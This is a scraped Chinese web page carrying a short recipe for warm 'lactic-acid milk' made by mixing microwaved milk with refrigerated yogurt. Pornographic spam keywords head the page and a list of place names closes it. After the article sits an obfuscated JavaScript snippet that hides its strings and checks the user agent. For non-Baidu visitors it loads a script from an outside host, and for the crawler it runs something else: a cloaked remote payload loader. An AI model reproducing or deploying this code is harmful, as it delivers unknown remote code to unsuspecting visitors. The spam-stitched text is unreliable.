亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

酸奶DIY的方法-自制營養(yǎng)酸奶

2015-07-20 07:53:14  來源:360常識網(wǎng)  作者:常識大全     熱度:
導(dǎo)語:如果喜歡喝乳酸菌飲料(那種活菌數(shù)特別高的飲料),可以采取類似方法。不過,因為這種飲料中含有較多的酸,牛奶會因此形成凝聚的小團(tuán)塊,但

如果喜歡喝乳酸菌飲料(那種活菌數(shù)特別高的飲料),可以采取類似方法。不過,因為這種飲料中含有較多的酸,牛奶會因此形成凝聚的小團(tuán)塊,但這種現(xiàn)象并不會影響消化吸收,就像酸奶形成塊是一樣的道理。

酸奶DIY的方法-自制營養(yǎng)酸奶
酸奶DIY的方法-自制營養(yǎng)酸奶

自制營養(yǎng)酸奶

這種溫?zé)岬?ldquo;乳酸菌奶”,既有牛奶的營養(yǎng),又保留了酸奶的活菌。最大的好處是,它喝起來溫?zé)峥煽?,那些怕冷、容易腹瀉的人都可以放心飲用。

制作步驟

1、先取一袋普通牛奶(250毫升),倒進(jìn)大碗當(dāng)中,用微波爐把它加熱到60℃。

2、把1小盒酸奶(100毫升)從冰箱里拿出來,直接倒入牛奶當(dāng)中,迅速攪勻。這時候,熱牛奶遇到冷酸奶,溫度就會降下來,大約到40℃。這正是其中乳酸菌發(fā)酵的合適溫度,所以菌不會大批死亡,而是會活化增殖。

3、如果喜歡喝乳酸菌飲料(那種活菌數(shù)特別高的飲料),可以采取類似方法。不過,因為這種飲料中含有較多的酸,牛奶會因此形成凝聚的小團(tuán)塊,但這種現(xiàn)象并不會影響消化吸收,就像酸奶形成塊是一樣的道理。

營養(yǎng)分析

由于市售酸奶中事先都加入了糖,所以這種乳酸菌奶有淡淡的甜味,大家更容易接受。假如自己想增加甜味,可以再加紅糖調(diào)制,增強(qiáng)暖身效果。

也可以加點(diǎn)姜汁、橙皮油、玫瑰醬、桂花糖,做出風(fēng)味迷人的浪漫效果。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
龙门县| 六枝特区| 伊川县| 贡觉县| 鲁甸县| 芒康县| 美姑县| 揭阳市| 临泽县| 都江堰市| 孝感市| 晋宁县| 密山市| 曲水县| 惠来县| 凤冈县| 邳州市| 蒙山县| 太原市| 井陉县| 江北区| 象山县| 余庆县| 鄢陵县| 长汀县| 孟州市| 色达县| 梓潼县| 丹巴县| 上蔡县| 沭阳县| 阜新| 通城县| 涟水县| 新疆| 哈巴河县| 集安市| 宜春市| 即墨市| 江西省| 郑州市|